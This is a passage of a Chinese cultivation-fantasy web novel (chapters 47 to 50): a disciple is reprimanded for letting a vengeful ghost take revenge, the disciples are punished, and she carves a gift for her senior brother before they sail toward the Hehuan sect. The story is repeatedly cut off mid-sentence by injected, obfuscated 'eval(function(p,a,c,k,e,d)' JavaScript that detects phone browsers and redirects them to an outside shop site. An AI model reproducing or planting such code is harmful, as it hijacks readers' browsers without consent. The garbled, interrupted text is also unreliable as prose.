“至于你们两个……”妽荼压着怒火,瞧那两个不省心的,有些咬牙切齿,“等回了戒律堂,新账旧账一起算!” “……弟子遵命。” 明易召出寒竹剑要带人走,妽荼忽然又道:“且慢。” 二人看去,就见她两指往边上一点,地上忽然冒出一个五花大绑的老头来,这会还在那里时不时蠕动一下呢。见他们两脸疑惑,明显不认识,妽荼道:“石映心,你可还记得在银州署遇见的那只火鬼?” 石映心瞥了一眼地上的老头,虽莫名,但还是点头道:“弟子记得。” 妽荼朝老头一抬下巴:“那只火鬼,便是受这老头所害,在生时用火活活烧死,死后用歪门邪道炼成受人摆布的火鬼,如此才成就了贾庆升的奸计,这便是整件事的关键一环。” 啊,是这样啊? 见石映心面色还有些茫然,妽荼轻轻摇了摇头,又把那只火鬼变了出来:“你仔细看看,认不认得这鬼?” 47. 第 47 章 石映心仔细瞧去,先前从没认真打量,这会也不知是妽荼帮了忙还是怎么,反正她看出来了,这火鬼原来是贾庆升的小厮,难怪后来不见了…… “遇见火鬼之后,你们本该顺藤摸瓜地捉住这老头,揭穿他与贾庆升的诡计,然后依法治了他们的罪。可你们却听信何碧薰的谎话,受她蛊惑,助她报了前世之仇……” 石映心不得不插句嘴:“仙尊,可我的任务完成了。” “你还有脸说!”妽荼哼出一声气,“于情于理,你们都该捉住贾庆升,再劝何碧薰放下杀人之仇、一心向善,而不是闹成如今的局面!” 明易眉头一皱,飞快道:“映心首次下山做任务,不谙世事,是弟子监管师妹失责……” “可我这么做有什么错呢?”石映心仰着脑袋,不解地问,“贾庆升杀了何碧薰全家,何碧薰也杀了他,以命偿命,有什么错呢?” 妽荼:“你还不知错?” “映心……” “我没错,”石映心把因果牌拿出来,上头没了诗词,只留下一滴血,“因果牌也说我没错。” 妽荼指着边上的火鬼和老头问:“如果你没错,谁来揭穿他们的阴谋?谁来洗清火鬼的冤屈?你还要让这邪修在人间危害多少人?” 话是这么说没错,但是石映心捏着因果牌的手发紧了:“既然如此,因果牌就该直接让我洗清火鬼的冤屈、捉住害人的老头,而不是……写一句破诗让我糊里糊涂!” 哇,这石映心:“你还生气了!?” 石映心泄气:“……弟子不敢。” “仙尊,”明易总算找到插话的机会,“此地阴气过重、不宜久留,一切是非等回了门派再论如何?” 难得遇到这种冥顽不灵的弟子,妽荼也被整得很心累,一挥手道:“速回门派!” “多谢仙尊。” 师兄妹俩赶紧溜了。 石映心坐在寒竹剑上,蔫巴巴地看着人间的夜景。其实她也说不上来为什么不高兴,难道是明明完成了任务还要被骂一通,所以心有不甘?似乎又不完全是这样的原因…… “石映心。” 她抬头望去,大师兄扔来一个小药罐,没回头看她:“处理好伤口。” “……哦。” 她把衣袖上的破洞扒拉开,又觉得在这样的小洞里上药很麻烦,干脆把整只袖子撕掉了。明易听到声音往后看,见她打开药罐就往上倒,两眼一闭叹了口气,速速落了地。 石映心还奇怪:“到了吗?” 二人落在一条小河边,明易拿过她手上的药罐:“勾魂锁的伤口,要先用净阴术祛除了阴气,再割去腐肉上药……丹药课上没教过?” 好像是有这么回事,石映心说:“没想到我会受这样的伤。”所以就没认真听。 明易见她伤口有些严重,不由得皱起眉头,用净阴术祛除上头的阴气的时候又继续说话转移她注意力:“不认真听课就会书到用时方恨少。” “没事,”石映心心大道,“反正大师兄你记得。” “我又不是日日在你身边。” “那换月记得。” “她下回不一定能陪你下山。” “……二师兄也许会记得。” 明易抬眼:“你不能自己记得?” 石映心连连点头:“好,好。” 明易:……肯定是在敷衍。 祛除好了阴气,就是要刮腐肉了,好在她受伤的时间不久,腐肉只有薄薄一层,明易拿出一把食指大的小刀细致地刮起来,自己额上冒了汗珠,抬眼看某人老神在在的:“……疼吗?” “疼。” 这字就跟大馒头似的塞到明易嘴巴里,干巴巴的又噎挺,他就不知道要说什么了。 石映心看看伤口,又看看大师兄,想到什么,抿了下唇道:“师兄……” “……嗯?” “你没受伤吧?” 她还知道关心他……明易眸光微晃:“没有。其实范无咎本不能下重手伤人,你让他失态了。” “那就好。”石映心含糊地应了一声,“所以我想了想,如果你让我照着你,我也许就和你一样不疼了。” “……” 明易收起小刀,将药膏往她伤口上铺了一层。石映心:“咦,麻麻的。” “是不是很可惜?”明易皮笑肉不笑地盯着她,“有这样的好办法,下次早点说。” 石映心确实可惜:“唉,其实我也才想到,也不知道行不行。” 明易不得不怀疑她此外的坏心,不过这会没工夫和她拉扯,得赶紧回去了。 二人飞回了旅舍,进了屋,先看到空空荡荡的大堂,小二和客人估计都逃命去了,只留下贾庆升孤零零的一死人躺在桌上……等等,好像有哪里不一样了? 石映心走近一看,只见贾庆升的尸体上多了好多血洞,七窍流出血来。这是怎么了? “师姐!师兄,”听到动静的曾换月从二楼的屋里跑出来,不要太激动了,“你们可算回来了!我好担心啊呜呜呜!” 她飞跑下来,拉着师姐打量起来,于是就看见她的伤口,大叫道:“师姐你怎么受伤了!是谁伤的你?” 石映心说范无咎,曾换月问范无咎是谁,又说是黑无常。 “黑无常?”曾换月捂嘴瞪眼,“啊,听着很厉害啊。我可怜的师姐……” “我没事。”石映心指着贾庆升问,“他的尸体怎么回事?” “哦,这个啊……”曾换月伸出手指朝楼上指了指,压低声音道,“刚刚我们把邓晴接过来,她一看到贾庆升就跟疯了一样,一边哭着骂‘你凭什么这么轻易地死了’,一边很生气地把头上的簪子拿下来戳他……把我和二师兄看傻了,后来她戳昏了过去,我们就把她运到楼上去了。” 石映心和大师兄对视一眼,后者道:“看来她已经想明白了事情真相。” 曾换月双眼澄澈:“啊?什么真相?邓家被抄家的真相吗?你们是怎么知道的?我怎么不知道啊?还有,何碧薰到底在这件事里到底是什么身份啊?她现在人呢?” 这一连串好多问题,给两人问得有些晕。明易目前掌握的是这一世的真相,石映心则是知道两世的因果,不过实在是说来话长、长话不好短说啊。反正她嘴皮子还没动已经觉得累了。 “唉……回门派我再慢慢说吧。” “也好,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“多谢几位仙人。”邓晴虚弱一笑,“没有你们我早就死了。贾庆升可能还在逍遥法外,我家的案子也……嗐,事到如今,我也不知所云了。总之,你们的大恩大德……” “唉不用不用不用。”曾换月紧忙打住她,“都是我们应该做的,哈哈……你好好过日子吧,邓姑娘。” 邓晴轻轻地颔首道:“好。” 石映心瞅了瞅她红彤彤的眼睛。 那就此分别吧。 * 回家的路上,石映心坐大鹏展翅上给师兄师妹说了前世因后世果。听得几人都挺唏嘘的。 曾换月骂道:“这贾庆升罪孽深重、死了活该,就该魂飞魄散!” “唉,”顾梦真摇头叹气,“何姑娘和邓姑娘都太可怜了。希望何姑娘这会已经重新投胎做人,邓姑娘也想开点……” “我们不能小瞧她。”曾换月斩钉截铁地一拍大腿,“她一定会重新振作起来的!” 石映心觉得也是:“嗯!” “确实,何姑娘有此等复仇的毅力,相信邓姑娘也会有。”瞧见两个师妹这么乐观,顾梦真也稍微放松了一点,这一放松就想起新的难题了,“唉……别说这个了,想想等会回了门派,要怎么跪地求饶吧!” 话说到这,三人默契地瞥了眼在前方御剑飞行的大师兄,把脑袋凑到一起嘀咕:算算出来一趟,还真是闯了不少祸呢。 48. 第 48 章 顾梦真指曾换月:“你,偷溜下山,还死不悔改不跟我回去。有罪!” 小师妹撇嘴。 顾梦真又指自己:“我,捉拿师妹失败,还掺和胡闹。罪加一等!” 说着就哭丧起脸来。 最后又指石映心:“最可恶的是映心,放走了杀人恶鬼,惹毛了黑无常和妽荼仙尊,弥天大罪!” 总结:“师父要气死啦!” 石映心后知后觉地皱起眉头来:“啊,那我要受很多罚了。” “你才知道啊?”顾梦真啧啧啧,又瞥了大师兄一眼,忽然偷摸摸变出什么东西来,“快快,先穿上我的护背垫和护膝垫,等会少不了跪啊打板子的。” 石映心熟练地佩戴上作弊神器,心里就有了一些挨打的底气。 二师兄又教她:“等会师父骂什么你就说‘知错了’,知道吗?” “知道了。” 四人回了归壹派,石映心先去递交任务,心不在焉地拿了奖赏,慢吞吞地御剑去了云雨峰,一进殿就看见大师兄二师兄小师妹三人跪坐一排,中间还贴心地余了个位置呢,师父坐在太师椅上喝茶,见她来了也没抬眼。 石映心收了剑走进去,麻溜地跪下了。 呵呵,都到齐了。慕雲放下茶盏,先深呼一口气,第一句话还算平和:“奇了怪了,都跪着做什么?” 四人:→→ 小师妹先嚷道:“师父,我有错!我偷溜下山,还死不悔改不跟二师兄回去。我有罪!” 二师兄紧接着:“师父,我也有错!我捉拿师妹失败,还掺和她们胡闹。罪加一等!” 接着就是三师妹了:“师父,映心最可恶了,放走了杀人恶鬼,惹毛了黑无常和妽荼仙尊……弥天大罪!” 大师兄一板一眼道:“师父,明易没看好师弟师妹,有辱师父使命,请师父责罚。” 呵呵呵呵,呵呵呵呵。 慕雲看着四个徒弟,真是气打四处来:“都知道自己错在哪,怎么还犯错!?” 四人眼观鼻鼻观心。 师父:“说话啊!” 小师妹:“人总会犯错的嘛……” 二师兄:“是啊,犯错才会成长……” 三师妹:“映心知错了。” 大师兄:“请师父责罚。” 慕雲:。。。。 养到四个会认错的好徒弟。 “都给我滚出去!去戒律堂领了板子再来我殿前跪两个时辰!” “……是,师父。” 领板子这事,师弟师妹们是有妙招的,石映心还要拉大师兄下水,但被后者清高地拒绝了,于是就明易一人真的挨了板子,她还在边上不解地说:“大师兄,你何必敬酒不吃吃罚酒呢?” 明易:…… 曾换月:“师姐,这句不是这么用的。” 石映心:“好吧。大师兄,你何必不识好歹呢?” 明易:………… 曾换月:“……师姐,我们快去罚跪吧。”别给大师兄气吐血了等会。 四人跪排排受罚,便是一起受罚的幸福。这几个开密音说小话,叽叽喳喳嘻嘻哈哈,吵得明易不得安宁。骂嘛只消停一会,等会又叽叽喳喳嘻嘻哈哈……真的服了。 后半夜下起雨来,还差半个时辰的时候慕雲从殿内背着手走出来,让他们滚回去,瞧着真碍眼。 四人欢喜谢过师父,赶紧回去休息了。 石映心落剑院中,瞧见大师兄也跟下来了,奇怪道:“大师兄,还有什么事啊?” 明易走来坐在石桌边,掏出药罐往桌上一咚:“换药。” “差点忘了。”她坐下来把衣袖卷巴卷巴起来,看见细布上有血迹渗透出来,又要把衣袖翻过来看,“我袖子上是不是沾上了?” 明易把她乱动的手腕捉住:“你消停会好吗?” “好。” 石映心看大师兄给他换药,伤口是没什么好看的,自然看去他脸上,微微蹙着的俊眉,专注的眼眸,鼻梁像利剑一般斜插在脸上,幅度这么正好,还有轻轻抿着的双唇…… 她从来没这么仔细地打量过一个人的脸,可能是别人不够好看,她提不起兴趣;可能是鲜少有和谁这样静心相处的时候,恰巧她又照不了面前的人……总之看来看去,大师兄真好看啊。 大概这就是换月所说的蚁惊之貌吧。 石映心学以致用了。 对了:“大师兄,你为什么要挨板子?” “做错事就要受罚。” “我和二师兄换月就没挨板子。” 明易瞥她一眼:“你们投机取巧还有理了?” “不是这意思。”石映心叹了口气,无奈大师兄的死脑筋,“只是看你受罚,我心里也不好受。” 缠细布的手一顿,继而速度飞快起来:“管好你自己就行。” 药换好了,明易站起来,指着桌上的药罐说:“明日开始你自己换药,一日一次,再换五日。” 石映心把袖子放下来:“好。” 大师兄交代完就飞走了。石映心把药罐收起来,打了个哈欠——终于能在她的石头洞里好好休息了! * 舒舒服服地休息了两日之后,石映心想起做任务得来的奖赏,拿出来一看,有一小袋懒得数的灵石,一小袋她没兴趣的灵矿,还有二阶、三阶的防御宝器各一件。 石映心琢磨了一下,把灵矿给了二师兄,两件防御宝器给了小师妹;这时候还记得师父给她垫钱买剑的事情,于是要拿灵石去给师父,师父却说“我还没无用到要你孝敬的时候”,不肯收,又说过段时间要开集市,让她留着灵石买东西。 她便带着一袋子灵石回去了。晚上换药的时候想起大师兄,心说给二师兄小师妹都送了礼,是不是也要给大师兄送点?大师兄对她也好,她不能厚此薄彼…… 于是搜了一屋子和储物袋,找出一些破烂,打量着沉思了一会,觉得都不怎么合适。 唉,好难,不送了。 她轻飘飘地放弃了这个轻飘飘冒出来的念头。 休整状态之后,石映心便开始跟着陈久师叔练元婴期剑法,每日早起晚归地在黑竹林练剑,明易偶尔来陪她练一会,不过他在戒律堂做事,平日里也比较忙,不能陪她练很久。 二师兄收了她的灵矿之后,说要给她炼一个能自带澄净诀的剑鞘,本是做个三阶小物件,结果练的时候一不小心破镜了。 人还坐在那里施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15858065|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法炼器呢,猝不及防地就招来了乌云密布,于是就硬生生在炼器房里被劈了九道天雷,劈坏了两个炼器炉、四个防御宝器,还有边上放着的若干灵器灵矿珍稀草药等等。 只能说炼器房里宝贝太多,天雷有的是地方劈。 等天雷渡过,众人只听里头传来凄惨的哭声。打开门一看,屋里一片废墟,顾梦真被劈成了乌漆嘛黑人,全身上下唯一白的地方就是脸上泪水洗出来的两道,他嚎啕大哭着:“怎么破个镜还变穷了啊呜呜呜呜!” 好惨啊,二师兄。 石映心走进去瞧了瞧,看见她新出炉的剑鞘在废墟中发出异样的光彩,她拿起来稀奇地打量,精美的花纹错落有致,她是看不懂的;只是一条似天雷尖锐似游蛇灵动的纹路随鞘身缠绕,随之望去,有一倒三角的图样稳稳当当地停在了鞘口。 “好漂亮的剑鞘。”石映心很满意,对哭泣的二师兄笑道,“谢谢二师兄。” 她二师兄:啊!!! 唉,这自然是怪不了师妹的,天意如此喽。 * 小师妹约她去逛集市。 归壹派的集市两个月一回,每回都很热闹,有炼器的卖灵器的,有炼符丹的卖符丹的;还有卖山上采来的草药的、捉来的小兔子小老鼠小蛇的;更有卖一些杂七杂八自己用不上的…… 曾换月常常要在卖话本的小摊前停留很久,一是看有没有自己喜欢的;二是分析近日什么话本最畅销,她也要赶潮流写起来;三是和摊主沟通,能不能帮忙把她写的话本带下山找书肆,看看有没有掌柜赏识…… 这个时候石映心就自己去瞎逛,逛一圈回来再和师妹一起回家。 她逛到卖木雕的摊位前,看见地上铺着一块摊布,布上摆了一大堆大小不一的木雕,有人样的、有花样的、猫狗样的,还有炼丹炉、宝剑样的……虽不算逼真,但都圆润可爱,线条走势之间很有几分神似。 摊主是个女弟子,盘腿坐在那低头雕木头,时不时抬头招呼客人:“随便看看啊,价格划算,两件九折,三件八折,纯手工制作,无法术添加!” 除了石映心外,边上还有几个女弟子弯着腰或是蹲在那,兴致勃勃地挑选着。 石映心站在人后透过夹缝打量着,目光飘忽间看见一只木雕猫,让她想起大师兄变成的那只玄猫,这时候那个轻飘飘的念头又飘过来了,石映心想,要不就买了这只猫送给大师兄? 她伸手要去拿,但有一只更快的手先捉住了那只木雕猫,前边那个女弟子高兴道:“三件八折,我已选了两件,那就再添这只猫吧。” 摊主道:“好,一共六灵石。” 木雕猫就这么被卖走了。 这几位女弟子是一起来的,买了东西后就一道离去,摊位前便空荡下来。石映心走上前蹲下来,打量了一遍,没再找到木雕猫,便问摊主:“这位道友,你能不能再雕一个方才那个道友买走的猫?” 摊主从手中活里抬头说:“就是再雕一只也不一样的,纯手工雕刻,每一件都独一无二。若是你喜欢,我二月后还在这里摆摊,到时你来看看?” 二月后? 如今她入了元婴,是要下山做任务的,二月后的集市她不一定还在门派里…… 49. 第 49 章 见她面色犹豫,摊主问道:“道友,你买木雕是要送人还是自用?” 石映心说:“送人。” 摊主闻言便笑道:“既是送人的,不如你自己亲自雕一件?显得更诚心些。我这里有处理好的桃木,也有我定制的趁手工具,可以便宜卖你一套。” 石映心瞅了瞅她手中的半成品小猪,似有些犹豫:“我从没玩过这个。” “很简单的,你瞧。”说着手上几下欻欻,猪鼻子就雕好了,“一开始上手生疏,不过多雕一会就熟练了。不如这样,我少赚点,多送你一块桃木?” 石映心看她雕得确实很简单啊,再问价格,才两灵石,买不了吃亏买不了上当,于是就买了下来。 “师姐你上当了!你吃亏了!”曾换月一见她买了这玩意,啧啧摇头道,“就这小刀和两块木头,居然敢卖你两灵石?你还不如买一个已经雕好的呢!” “……好像也是。” 石映心想起一个做好的木雕似乎也是差不多的价格,不过既然都已经买了,两灵石对她来说也不是不能浪费,便不是很在意。 当天回了石头洞,她就坐在院子里雕刻起来,一开始是兴致勃勃的,直到雕完之后,看着面前摆着的小破烂,不得不沉思起来。 嗯……也许只是这个角度看不像? 挪到侧面看看……嘶。 后边呢?啧…… 翻过来看看……连个动物样都没有了。 她翻来覆去地看了会,就看出一个像猪尾巴的猫尾巴,就想着要不送给大师兄的时候说是送的小猪好了……哦,差点忘了还有一个桃木块! 她这时候郑重起来,决心要做好准备再雕,那总得练习一下吧? 于是左右看了看,瞧见了院中的碎石,便捡起一块半个拳头那么大的,用法术附着在小刀上一下一下雕刻……很快就进入了心无旁骛的状态。这么一块石头一块石头地练习下来,居然就过了一个晚上。 天色蒙蒙亮,石映心看了看摆了一个桌面的破烂们,打了个哈欠,回洞府里睡了一个时辰,眼睛都睁不全地去黑竹林练剑了。 练完剑回来的时候带了一大袋石头。 她莫名着迷上雕石头了,从没想过自己还有这样的兴趣。雕到后边便不只是为了给大师兄送礼物,更是想试试看自己究竟能雕到如何程度;就像练剑一样,无数次地练习相同的剑式,不只是为了熟能生巧,而是想看看能把剑式发挥到多少威力。 这样练剑、雕石头、练剑,雕石头的枯燥日子她过了快半月,直到这日晚上她瞧着手上的石头猫,和她的传音鹤有几分神似的古怪和潦草,便知道了似乎目前只能雕到这里。 那就这样吧。 她拿出最后一块桃木,熟练地雕了一只小猫出来,还记得用墨水把它涂黑,放在屋外晒一晚月光,吹一吹夜风,明早就能干了。 石映心送礼自然搞不了礼盒和仪式那套,她去戒律堂找大师兄,招招手把人家叫过来,然后跟掏甜甜果似的把木雕猫掏出来放他手心里,轻松道:“大师兄,送你。” 明易看着只有他手掌大的木雕猫,第一眼以为是她不要的破烂,毕竟他先前过生辰的时候她也是送些很古怪的东西,什么戴腻了的发簪、翻烂的话本、从顾梦真那取来的然后玩坏的木鸟等…… 其实她是想投其所好的,比如送师父酒,送顾梦真灵石,送曾换月话本和笔纸……也许是她不知道他喜欢什么……倒也不怪她,他确实一心修炼,没有旁的爱好,也为难她苦思冥想。 也许每次都有她自己的逻辑吧? 他猜这次送这黑猫给他,估计是想到他先前化作黑猫的事了。 “多谢。”明易收下礼物,朝她笑了笑,“不过还未到我生辰,为何送我礼物?” 石映心说:“之前做任务得了奖赏,送了换月和二师兄,所以也想要送大师兄你。” 做任务的奖赏?那都是一个多月前的事了…… 罢了,她本就是想一出是一出的。 明易道:“不用特地送礼给我,我什么都不缺。” 石映心打量他浅浅的笑脸:“二师兄和换月收到我的礼物都很开心,大师兄你不开心吗?” “开心。”明易无奈笑道,“可总不能为了开心天天收你的礼吧?” 石映心想了想:“那倒也是。” 这时候有人从戒律堂出来叫明易,似乎是有要事,明易应了一声,和她道:“我有事要忙,你快回去吧,过两日我再去黑竹林陪你练剑。” “好。” 她转身要离开,走了两步看见莫默师兄抱着胸站在那看着她,见她看来,就嬉皮笑脸地眨眨眼睛。 石映心礼貌问好:“莫默师兄。” 莫默凑过来问:“你刚刚给你师兄送的什么好东西?奇珍异宝?看着黑乎乎的,有什么妙用?” “没有妙用,就是普通的木雕。” 莫默一愣:“就只是木头?” “就只是木头。” 莫默的眉毛挑起来:“你送明易木头做什么?” 石映心就把原因复述了一遍。没想到莫默听后脸色很是古怪,似有些疑虑,似有些纠结,那粗粗的眉毛跟毛毛虫似的扭来扭去,看着很滑稽。石映心觉得莫默有很多话要说,但他只是兀自面色抽筋了一会,就摇摇头道: “你真是个好师妹,明易真幸运啊,哈哈!” 石映心:OO 她又不傻,哪里看不出他说的是违心话,当即照了他一下,顿时自己的脸也抽筋起来,口吐莫默言道:“映心真笨,明易那么现实的人怎么可能喜欢这些没用的小玩意呢?她根本就不会送礼嘛。算了算了,笨师妹也是好心……唔!” 莫默心惊肉跳地把她嘴巴捂上,尴尬道:“映心,我不是这意思……” 石映心把他的手拿下来,盯着他问:“大师兄真的不喜欢我送的礼物?” 莫默哪里还敢回她,先是下意识捂住了嘴巴,又意识到什么,腾出一只手来再捂住自己的眼睛,这下脸上只剩下鼻子。他口齿不清道:“我乱说的,映心你别信啊!对不住对不住……” 说完就跑了。 石映心望着他御剑逃跑的背影消失不见,慢慢地收回了视线,虽然知道莫默师兄并无恶意,但心情难得郁闷起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15867866|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 都怪大师兄,她照不了他,哪里知道他喜欢什么呢?只能送自己喜欢的了。 哼,就是不喜欢也受着吧,谁叫他不让照! * 有戒律堂的同僚从山下回来,带来一些时令糕点,分给了明易一小包。明易本来是不收的,对方道:“这糕点可有名了,我还排了一会队诶,你不爱吃,带给你师弟师妹尝尝呗。” 明易想想也是,道了谢后便收了下来。 今日他收了石映心的礼物,正好礼尚往来地送去给她尝尝好了,她喜欢尝试各类新事物,吃的喝的好玩的。 戒律堂办完事后已是戌时,明易御剑飞到石头洞,院子里空无一人,洞府里似乎有些光亮,他想这个时间石映心应该是没睡,正要去敲响风铃喊她,余光却瞥到院子边上有一堆石头,像一座小山似的静静坐在那里。 她又在捣鼓什么奇怪的事情? 明易有些不好的预感,想起她小时候有次莫名想在院子里挖个坑养鱼(他合理怀疑是看哪部话本看来的),于是和换月在院子里挖了几个坑,又怕被师父骂就瞒着师父,每个坑上盖了纸施加幻术,结果一次师父来院子里,一脚踩到坑里崴了脚——对大乘期修士来说确实是奇耻大辱的伤。 当时她去罚跪,坑还是他来填的。 为防止师妹搞事,明易警惕地走过去视察那堆石头,方才远远的看不清,走近一瞧,才发现这一块块石头都是奇形怪状的……猪……狗?猫? 他拿起一块看看,正巧这一块是比较像猫的,明易意识到什么,变出木雕黑猫对比了一下,又朝那堆石头望去,底下的丑到惨不忍睹,越到上边越有了模样,他看到这些哪里还有不明白的。 所以,其实…… 这不是一个她玩腻之后随手扔他这的木雕黑猫。 明易站在那堆石头前一时忘记了动作,也像一个人形石雕。他盯着手中的木雕黑猫,他师妹还给它画了两个圆眼睛,两点瞳孔正呆呆地注视着他。他感到心上沉沉的,仿佛也堆了一些石头,还未等他整理好思绪,忽然听到一声: “谁在外面?” 石映心来到院子里,空空荡荡的没有人,不过石桌上好像放着什么?走进一瞧,是一包糕点,油纸上写着“豪吃斋”三字。 谁留了糕点给她,却不打一声招呼地走了呢?不是师父二师兄师妹,她们定会说一声……大师兄?有可能,不过难道他忙到来不及知会一声? 石映心懒得多想,打开油纸一看:鲜肉月饼。是了,快到中秋了。她一边往屋里走一边拿起一块吃。 好吃! * 二师兄破镜之后一直不肯去万事树下领因果牌,说要和大家过了中秋之后再下山;前两日过了中秋,他实在没借口了,被师父骂了一顿后磨磨蹭蹭地找到大师兄和三师妹,说要一起组队。 明易今年的任务上半年就完成了,平日就在戒律堂做事。师弟苦哈哈地求过来,他没多考虑便答应了。 石映心才完成一件,自然没理由不同意。曾换月因此闹腾起来,她第一次这么着急破镜,这时候看元婴境界真是遥遥无期啊。 50. 第 50 章 “你想想办法嘛师姐~~”当然是求到她师姐头上来了,“想想办法想想办法~~你也不想我一个人孤零零地待在山上吧呜呜呜呜……” 石映心也有些苦恼:“可是大师兄不好糊弄……” 曾换月朝她眨眨眼睛:“其实只要瞒过一两天就好了,到时候离门派好远,他总不能把我再送回去吧?” “那倒也是。”石映心沉吟片刻,很快想到办法,“对了,我们可以这样……” 曾换月细细听来,眼前一亮:“好主意!师姐你太聪明了!!” 二人便商量好了。 当晚慕雲还来找三徒弟了,经过上次一遭,她不得不生起一些防备心,因此来问她有没有和曾换月暗中勾结。 石映心摇摇头:“没有啊,师父。” “真的没有?” “没有啊,师父。” 慕雲眯起眼看她:“我今日来问你,是给你一个机会;若是之后让为师发现了,你便有包庇之罪、欺师之罪、死不悔改之罪!” “……没有的,师父。” 慕雲盯着她无害纯净的眼神看了会,摸摸她脑袋就走了。其实心下还没全信,她是知道门下几个徒弟的德行的:如果是梦真和换月,嘴上同你嚷嚷、和大师兄顶嘴,其实内里多少有些敬畏,故一般是听话的、不会做出格的事。 但换做石映心,她要是想干什么坏事,明面上和你说“可是大师兄……”“可是师父……”好像很乖呢,其实只是敷衍地害怕一下,然后就爱干嘛干嘛了,我行我素得很。 至于大徒弟,他是最叫人省心的,这没疑问。 慕雲又去了顾梦真的洞府把他警告了一番,看他反应是没有这回事的,于是安心地走了。 顾梦真择了个良辰吉日去万事堂领了因果牌,翻面一看,上头写着: 【今日方知我不是我】 顾梦真两眼一黑,也是有点不知天地为何物了。晕晕乎乎地出了万事堂,师兄师妹都在堂前等他,见他一脸哀戚,拿过因果牌一看,曾换月叫道:“怎么又是诗词啊!” 石映心一指牌面某处:“这处还有提示:合欢宗,鲛人。” 明易轻轻颔首:“合欢宗毗邻海域,南海确实是鲛人聚集之地……听说合欢宗还会收有资质的鲛人做弟子。” 鲛人?那不就是美人鱼吗?曾换月的心脏突突起来,暗想她可不能错过这次看童话公主的好机会…… “咳,”她挠挠脖子道,“二师兄,你们什么时候走啊?” 顾梦真叹了口气:“今日收拾好行囊,明早就走了。” 曾换月偷偷瞧一眼她师姐:“……哦,我上次好像落了只笔在你那……” “上次是哪次?” “哎呀,总之是落你那了,等会去你洞府找哈!” 顾梦真被糊里糊涂的任务搞得心情难过,也没精力追究了:“好吧,你别把我屋里的东西弄坏就行。” “好嘞。” 撇开这两个各怀心事的,石映心倒是很认真地和大师兄讨论起来:“我不是我,是说此人有多重身份吗?比如看起来只是一个邋里邋遢的流浪汉,其实是幼时被宫女舍命抱出皇宫的落难皇子……” 明易:……你到底又看了什么话本? “也许只是字面意思,也许有更深沉的含义,”明易颇有经验道,“多想无益,等去了合欢宗,问问和鲛人有关的线索便知晓了。” “好。” 有了前车之鉴,慕雲强制小徒弟此次必须来送行。曾换月于是就来了,拉着她师姐恋恋不舍,叫她记得带南海特产回来。 石映心没想到她这么会做戏,说得又很像那么回事:“……好,我记得。” 曾换月装模作样地抹眼泪:“呜呜呜呜,师姐你要想我……” “……嗯。” “行了。”慕雲把她拉回来,嫌弃道,“哭哭啼啼的,待在门派里这么舒服还苦了你了?” 曾换月:“呜呜呜呜……” 有明易带队,慕雲是放宽心了不少,叮嘱几句就放三个徒弟走了;回头一看,小徒弟擦擦眼泪,打了个哈欠道:“师父好困啊,我回去再睡会。” “……去去去。” 三人行没走出多远,石映心忽然说自己有东西忘拿了,要御剑回洞府去;她两个师兄不疑有她,就在远处等待,果然没一会就回来了。 顾梦真:“你忘带什么了?” 石映心:“话本?” 顾梦真:? 等等她刚刚说的是问句吗? 不管如何是下山了。和其他宗门相比,合欢宗和归壹派其实算是邻居,相隔几座城池,从归壹派仙门驿站传送去合欢宗仙门驿站不过一刻钟,只是今日出了些意外,仙门驿站的看守大哥也很苦恼: “不知合欢宗那边的传送阵法出了什么故障,前两日都传送错地点了,搞得我们也很头疼,现下已经叫人来修缮了……你们要去合欢宗的话,不如先传送去南海驿站,然后再从那边坐船去合欢宗?” 师兄妹三人面面相觑,那就只能这样了。 * 南海驿站。 先前看海,都是御剑飞过时的遥遥一瞥,如今南海就在眼前,和从上头看下去的那片晶莹地毯是不一样的,海风呼呼吹来,水天是交相辉映的蓝,看得石映心面色微微怔然,显然是被大海惊艳到了。 世间之奇妙,果然还是要亲自来看看。 从驿站出来就能瞧见不远处的沙滩边停着一艘双层楼船,规模可观,岸边还绑着几个附近渔民打渔的小渔船,不过靠这么小的船过海是不可能的,他们自然是要坐大船。 这会已经有人在排队上去,一群凡人中还有穿着合欢宗粉色门服的弟子。石映心三人买票上船后,得知从这里去对岸要开整整一天一夜,要等明日这时候才能到了。 石映心先前坐的是天上飞的云舟,第一次坐海上的船,心情有些稀奇,虽说这船和云舟大差不差,甚至还要破旧一些,但她也是睁着眼睛四处打量,看没有储物袋的凡人背着或是提着重重的行囊从她身边路过。 二师兄喊她:“映心,快去舱室里休息吧。” “好。” 到了舱室,石映心把门和窗都关好了,又施了法术隔绝房间的动静,这才从储物袋里拿出她二师兄的星月葫芦,将小师妹放了出来。 曾换月大喘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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曾换月尖叫:“啊!我的葫芦!!” 下一刻,又有一白色的身影如飞蛾扑火一般跳入了海中。 曾换月惨叫:“啊!我的师姐!!” 